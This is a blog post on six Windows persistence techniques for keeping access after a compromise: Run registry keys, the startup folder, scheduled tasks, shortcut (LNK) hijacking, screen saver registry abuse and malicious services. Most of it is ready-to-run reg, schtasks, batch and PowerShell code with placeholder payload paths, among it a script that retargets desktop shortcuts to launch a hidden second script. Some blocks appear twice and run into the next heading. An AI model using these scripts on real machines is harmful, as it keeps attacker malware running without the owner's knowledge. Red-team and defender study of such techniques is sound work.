July 25, 2026
Multiple Ways to Achieve Windows Persistence
This blog discusses several Windows persistence techniques that can be used after gaining initial access, before your C2 callback dies on…
By Ayushmohansah
5 min read
This blog discusses several Windows persistence techniques that can be used after gaining initial access, before your C2 callback dies on you (and before you can blame the payload developer). Some of these techniques require privilege escalation to a local Administrator.
Let's begin!
Method 1 — REGISTRY KEY
A Windows Registry run key is a specific location in the Windows Registry (HKLM or HKCU) that automatically launches programs, scripts, or commands whenever a user logs in or the system starts. These keys are widely used for legitimate application startup tasks but are also commonly exploited by malicious software to maintain persistence.
HOW TO DO -
- In CMD Prompt type regedit
- Find location Computer\HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run or RunOnce
- Add the path to exe you want persistence for (inside run for running every time on logon and Run once for just once it deletes afterwards you may create a script called once that executes the exe and adds to run once again after a time delay)
Additionally — Keys can be set for the specific user (HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run) or for the machine (HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run), affecting all users.
COMMAND-
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v EdgeMSProcess /t REG_SZ /d "PATH TO EXE" /freg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v EdgeMSProcess /t REG_SZ /d "PATH TO EXE" /fMethod 2 — STARTUP FOLDER
Windows startup folder persistence is a technique where malicious programs or scripts are placed into a specific Windows folder, ensuring they automatically execute every time a user logs in. It is a common, low-privilege method for maintaining long-term access to a system, allowing malware to survive reboots
HOW TO DO -
- Do win+r then enter for Individual User: %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup and for System-wide: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
- Place shortcuts, malicious executable binaries, or scripts (e.g., .bat, .ps1, .vbs) in these folders.
- runs whenever system startup (pro it supports direct shortcuts and hidden from general user)
COMMAND-
# Current user
Copy-Item "<PAYLOAD_PATH>" `
"$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\<FILENAME>"
# System-wide (Administrator required)
Copy-Item "<PAYLOAD_PATH>" `
"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\<FILENAME>"# Current user
Copy-Item "<PAYLOAD_PATH>" `
"$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\<FILENAME>"
# System-wide (Administrator required)
Copy-Item "<PAYLOAD_PATH>" `
"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\<FILENAME>"Method 3 — Scheduled Tasks
Scheduled Tasks persistence is a technique used by threat actors to ensure their malicious code automatically executes at predetermined times or in response to specific events (like system startup or user logon). By abusing the built-in Windows Task Scheduler, attackers can maintain a long-term foothold on a compromised system, ensuring their malware survives reboots and user logoffs without needing to re-exploit the machine.
HOW TO DO-
Method 1: Using the Task Scheduler (GUI) This is the most common method for manual setups.
- Open Task Scheduler: Press the Windows Key, type "Task Scheduler," and hit Enter.
- Create Basic Task: In the "Actions" pane on the right, click Create Basic Task….
- Name & Description: Enter a name (e.g., "Daily Script") and click Next.
- Set Trigger: Choose how often the task should run (e.g., Daily, At log on, or When the computer starts).
- Select Action: Choose Start a program and click Next.
- Pick Program: Click Browse to select your executable or script (e.g., C:\path\to\script.exe).
- Finish: Review your settings and click Finish.
Method 2: Using Command Prompt (schtasks) Use this for automation or if you prefer the command line. Open Command Prompt as Administrator.
- Run a program daily at a specific time: schtasks /create /tn "MyTask" /tr "C:\path\to\app.exe" /sc daily /st 09:00
- Run at system startup: schtasks /create /tn "StartupTask" /tr "C:\path\to\app.exe" /sc onstart
- Run as the SYSTEM account (Highest Privileges): schtasks /create /tn "AdminTask" /tr "C:\path\to\app.exe" /sc hourly /ru SYSTEM
Method 3: Using PowerShell PowerShell offers more granular control for advanced users.
- Define Action: $action = New-ScheduledTaskAction -Execute "PowerShell.exe" -Argument "C:\Scripts\Task.ps1"
- Define Trigger: $trigger = New-ScheduledTaskTrigger -AtLogOn (or -Daily -At 3am)
- Register Task: Register-ScheduledTask -Action $action -Trigger $trigger -TaskName "MyPowerShellTask"
Method 4 — LNK MODIFICATION
Shortcut (LNK) Modification is a persistence technique where an attacker changes the target path of a legitimate Windows shortcut (.lnk file) to execute malicious code alongside or instead of the intended application.By hijacking shortcuts that users click frequently (like a web browser or office app), attackers ensure their malware runs every time the user interacts with the system. there are a few ways/type we can do it-
- Target Redirection
- Masquerading
- UI Deception
HOW TO DO-
- Target Redirection
==========================================================================================
====================================LNK EDITOR SCRIPT=====================================
==========================================================================================
@echo off
setlocal enabledelayedexpansion
REM =====================================================
REM STEP 1 — Detect real Desktop (KEEP THIS - important)
REM =====================================================
for /f "delims=" %%D in ('powershell -NoProfile -Command "[Environment]::GetFolderPath('Desktop')"') do set "DESKTOP=%%D"
echo Detected Desktop: %DESKTOP%
REM =====================================================
REM STEP 2 — Find FIRST .lnk file on Desktop
REM =====================================================
for /f "delims=" %%F in ('dir "%DESKTOP%\*.lnk" /b 2^>nul') do (
set "DEST=%DESKTOP%\%%F"
goto FOUND
)
echo No shortcut (.lnk) files found on Desktop
pause
exit /b
:FOUND
echo Selected shortcut: %DEST%
REM =====================================================
REM STEP 3 — Target configuration (your custom behavior)
REM =====================================================
set "TARGET=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
set "ARGS=https://google.com"
set "WORKDIR=C:\Program Files (x86)\Microsoft\Edge\Application"
REM =====================================================
REM STEP 4 — Modify shortcut safely
REM =====================================================
powershell -NoProfile -ExecutionPolicy Bypass -Command ^
"$path='%DEST%'; ^
$wsh=New-Object -ComObject WScript.Shell; ^
$sc=$wsh.CreateShortcut($path); ^
$sc.TargetPath='%TARGET%'; ^
$sc.Arguments='%ARGS%'; ^
$sc.WorkingDirectory='%WORKDIR%'; ^
$sc.Save(); ^
Write-Host 'UPDATED SHORTCUT:' $path"
REM =====================================================
REM STEP 5 — Launch shortcut
REM =====================================================
start "" "%DEST%"
exit
==========================================================================================
========================================CALLSCRIPT========================================
==========================================================================================
@echo off
setlocal
REM === Paths ===
set "APP=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
set "SCRIPT=C:\Users\charl\OneDrive\Documents\cal.bat"
REM === Launch EXE minimized ===
start "" /min "%APP%"
REM === Run PowerShell hidden ===
start "" /min cmd /c "%SCRIPT%"
exit
==========================================================================================
====================================================================================================================================================================================
====================================LNK EDITOR SCRIPT=====================================
==========================================================================================
@echo off
setlocal enabledelayedexpansion
REM =====================================================
REM STEP 1 — Detect real Desktop (KEEP THIS - important)
REM =====================================================
for /f "delims=" %%D in ('powershell -NoProfile -Command "[Environment]::GetFolderPath('Desktop')"') do set "DESKTOP=%%D"
echo Detected Desktop: %DESKTOP%
REM =====================================================
REM STEP 2 — Find FIRST .lnk file on Desktop
REM =====================================================
for /f "delims=" %%F in ('dir "%DESKTOP%\*.lnk" /b 2^>nul') do (
set "DEST=%DESKTOP%\%%F"
goto FOUND
)
echo No shortcut (.lnk) files found on Desktop
pause
exit /b
:FOUND
echo Selected shortcut: %DEST%
REM =====================================================
REM STEP 3 — Target configuration (your custom behavior)
REM =====================================================
set "TARGET=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
set "ARGS=https://google.com"
set "WORKDIR=C:\Program Files (x86)\Microsoft\Edge\Application"
REM =====================================================
REM STEP 4 — Modify shortcut safely
REM =====================================================
powershell -NoProfile -ExecutionPolicy Bypass -Command ^
"$path='%DEST%'; ^
$wsh=New-Object -ComObject WScript.Shell; ^
$sc=$wsh.CreateShortcut($path); ^
$sc.TargetPath='%TARGET%'; ^
$sc.Arguments='%ARGS%'; ^
$sc.WorkingDirectory='%WORKDIR%'; ^
$sc.Save(); ^
Write-Host 'UPDATED SHORTCUT:' $path"
REM =====================================================
REM STEP 5 — Launch shortcut
REM =====================================================
start "" "%DEST%"
exit
==========================================================================================
========================================CALLSCRIPT========================================
==========================================================================================
@echo off
setlocal
REM === Paths ===
set "APP=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
set "SCRIPT=C:\Users\charl\OneDrive\Documents\cal.bat"
REM === Launch EXE minimized ===
start "" /min "%APP%"
REM === Run PowerShell hidden ===
start "" /min cmd /c "%SCRIPT%"
exit
==========================================================================================
==========================================================================================Method 5 — SCREEN SAVER
Attackers modify specific registry keys to point the system to their malicious payload. When the user is away and the "inactivity timeout" is reached, Windows automatically launches the attacker's file. All relevant settings are located in: HKEY_CURRENT_USER\Control Panel\Desktop
HOW TO DO-(script explanation)
@echo off
:: --- CONFIGURATION (PLACEHOLDERS) ---
:: Set the full path to your executable or script
SET "PAYLOAD_PATH=C:\path\to\your\payload.exe"
:: Set the inactivity timeout in seconds (e.g., 60 = 1 minute)
SET "TIMEOUT=60"
:: Set password protection on wakeup (1 = Yes, 0 = No)
SET "SECURE=0"
:: ------------------------------------
echo Setting up Screen Saver persistence...
:: 1. Define the executable to run as the screen saver
reg add "HKCU\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "%PAYLOAD_PATH%" /f
:: 2. Ensure the screen saver feature is turned on
reg add "HKCU\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d "1" /f
:: 3. Set the idle timeout period
reg add "HKCU\Control Panel\Desktop" /v ScreenSaveTimeout /t REG_SZ /d "%TIMEOUT%" /f
:: 4. Set whether the workstation locks on resume
reg add "HKCU\Control Panel\Desktop" /v ScreenSaverIsSecure /t REG_SZ /d "%SECURE%" /f
echo.
echo Configuration Complete.
echo The payload will execute after %TIMEOUT% seconds of inactivity.
pause@echo off
:: --- CONFIGURATION (PLACEHOLDERS) ---
:: Set the full path to your executable or script
SET "PAYLOAD_PATH=C:\path\to\your\payload.exe"
:: Set the inactivity timeout in seconds (e.g., 60 = 1 minute)
SET "TIMEOUT=60"
:: Set password protection on wakeup (1 = Yes, 0 = No)
SET "SECURE=0"
:: ------------------------------------
echo Setting up Screen Saver persistence...
:: 1. Define the executable to run as the screen saver
reg add "HKCU\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "%PAYLOAD_PATH%" /f
:: 2. Ensure the screen saver feature is turned on
reg add "HKCU\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d "1" /f
:: 3. Set the idle timeout period
reg add "HKCU\Control Panel\Desktop" /v ScreenSaveTimeout /t REG_SZ /d "%TIMEOUT%" /f
:: 4. Set whether the workstation locks on resume
reg add "HKCU\Control Panel\Desktop" /v ScreenSaverIsSecure /t REG_SZ /d "%SECURE%" /f
echo.
echo Configuration Complete.
echo The payload will execute after %TIMEOUT% seconds of inactivity.
pauseCOMMAND-
reg add "HKCU\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "C:\path\to\malware.exe" /freg add "HKCU\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "C:\path\to\malware.exe" /fMethod 6 — WINDOWS SERVICES
Windows Services are persistent background processes managed by the Service Control Manager (SCM). Attackers and red-teamers use them because services can: Run at boot (start=auto) , Operate under elevated privileges (LocalSystem) , Survive user logon/logoff
Abuse vectors: Create new malicious service , Hijack existing service binaries , Exploit unquoted service paths , Replace weak or misconfigured service executables
Requirements: Administrator privileges required , Service binary must exist on disk , Works across reboots , Typical registry path:
HOW TO DO-
# ========================================
# CONFIGURATION
# ========================================
$ServiceName = "LabHelper" # Lab-safe service name
$DisplayName = "Lab Helper Service" # Service display name
$BinaryPath = "C:\Windows\System32\notepad.exe" # Payload for lab testing
# ========================================
# CREATE SERVICE
# ========================================
New-Service -Name $ServiceName -BinaryPathName $BinaryPath -DisplayName $DisplayName -StartupType Automatic
# ========================================
# DELAYED START (Simulate installer behavior)
# ========================================
Start-Sleep -Seconds 60
# ========================================
# START SERVICE
# ========================================
Start-Service $ServiceName
# ========================================
# OPTIONAL: SIGN BINARY FOR LAB SIMULATION
# ========================================
# Generate self-signed certificate (lab only)
#$cert = New-SelfSignedCertificate -Type CodeSigningCert -Subject "CN=LabPayload" -KeyExportPolicy Exportable -CertStoreLocation Cert:\CurrentUser\My
#Set-AuthenticodeSignature -FilePath $BinaryPath -Certificate $cert
# Verification
Get-Service -Name $ServiceName# ========================================
# CONFIGURATION
# ========================================
$ServiceName = "LabHelper" # Lab-safe service name
$DisplayName = "Lab Helper Service" # Service display name
$BinaryPath = "C:\Windows\System32\notepad.exe" # Payload for lab testing
# ========================================
# CREATE SERVICE
# ========================================
New-Service -Name $ServiceName -BinaryPathName $BinaryPath -DisplayName $DisplayName -StartupType Automatic
# ========================================
# DELAYED START (Simulate installer behavior)
# ========================================
Start-Sleep -Seconds 60
# ========================================
# START SERVICE
# ========================================
Start-Service $ServiceName
# ========================================
# OPTIONAL: SIGN BINARY FOR LAB SIMULATION
# ========================================
# Generate self-signed certificate (lab only)
#$cert = New-SelfSignedCertificate -Type CodeSigningCert -Subject "CN=LabPayload" -KeyExportPolicy Exportable -CertStoreLocation Cert:\CurrentUser\My
#Set-AuthenticodeSignature -FilePath $BinaryPath -Certificate $cert
# Verification
Get-Service -Name $ServiceNameCOMMAND-
sc create LabHelper binPath= "C:\Windows\System32\notepad.exe" start= auto && timeout /t 60 && sc start LabHelpersc create LabHelper binPath= "C:\Windows\System32\notepad.exe" start= auto && timeout /t 60 && sc start LabHelperREMOVAL-
# ========================================
# CONFIGURATION
# ========================================
$ServiceName = "LabHelper" # Name of service to remove
# ========================================
# STOP SERVICE
# ========================================
if (Get-Service -Name $ServiceName -ErrorAction SilentlyContinue) {
Stop-Service -Name $ServiceName -Force
Write-Host "Service stopped."
} else {
Write-Host "Service not found, skipping stop."
}
# ========================================
# DELETE SERVICE
# ========================================
if (Get-Service -Name $ServiceName -ErrorAction SilentlyContinue) {
sc.exe delete $ServiceName
Write-Host "Service deleted."
} else {
Write-Host "Service not found, skipping delete."
}
# ========================================
# CLEAN REGISTRY ENTRIES (Optional)
# ========================================
$regPath = "HKLM:\SYSTEM\CurrentControlSet\Services\$ServiceName"
if (Test-Path $regPath) {
Remove-Item -Path $regPath -Recurse -Force
Write-Host "Registry entries removed."
} else {
Write-Host "Registry entries not found."
}
# ========================================
# CLEANUP PAYLOAD (Optional)
# ========================================
$BinaryPath = "C:\Windows\System32\notepad.exe"
if (Test-Path $BinaryPath) {
# Only remove if it's a lab-specific payload
# Remove-Item -Path $BinaryPath -Force
Write-Host "Payload exists at $BinaryPath (remove manually if lab payload)."
}# ========================================
# CONFIGURATION
# ========================================
$ServiceName = "LabHelper" # Name of service to remove
# ========================================
# STOP SERVICE
# ========================================
if (Get-Service -Name $ServiceName -ErrorAction SilentlyContinue) {
Stop-Service -Name $ServiceName -Force
Write-Host "Service stopped."
} else {
Write-Host "Service not found, skipping stop."
}
# ========================================
# DELETE SERVICE
# ========================================
if (Get-Service -Name $ServiceName -ErrorAction SilentlyContinue) {
sc.exe delete $ServiceName
Write-Host "Service deleted."
} else {
Write-Host "Service not found, skipping delete."
}
# ========================================
# CLEAN REGISTRY ENTRIES (Optional)
# ========================================
$regPath = "HKLM:\SYSTEM\CurrentControlSet\Services\$ServiceName"
if (Test-Path $regPath) {
Remove-Item -Path $regPath -Recurse -Force
Write-Host "Registry entries removed."
} else {
Write-Host "Registry entries not found."
}
# ========================================
# CLEANUP PAYLOAD (Optional)
# ========================================
$BinaryPath = "C:\Windows\System32\notepad.exe"
if (Test-Path $BinaryPath) {
# Only remove if it's a lab-specific payload
# Remove-Item -Path $BinaryPath -Force
Write-Host "Payload exists at $BinaryPath (remove manually if lab payload)."
}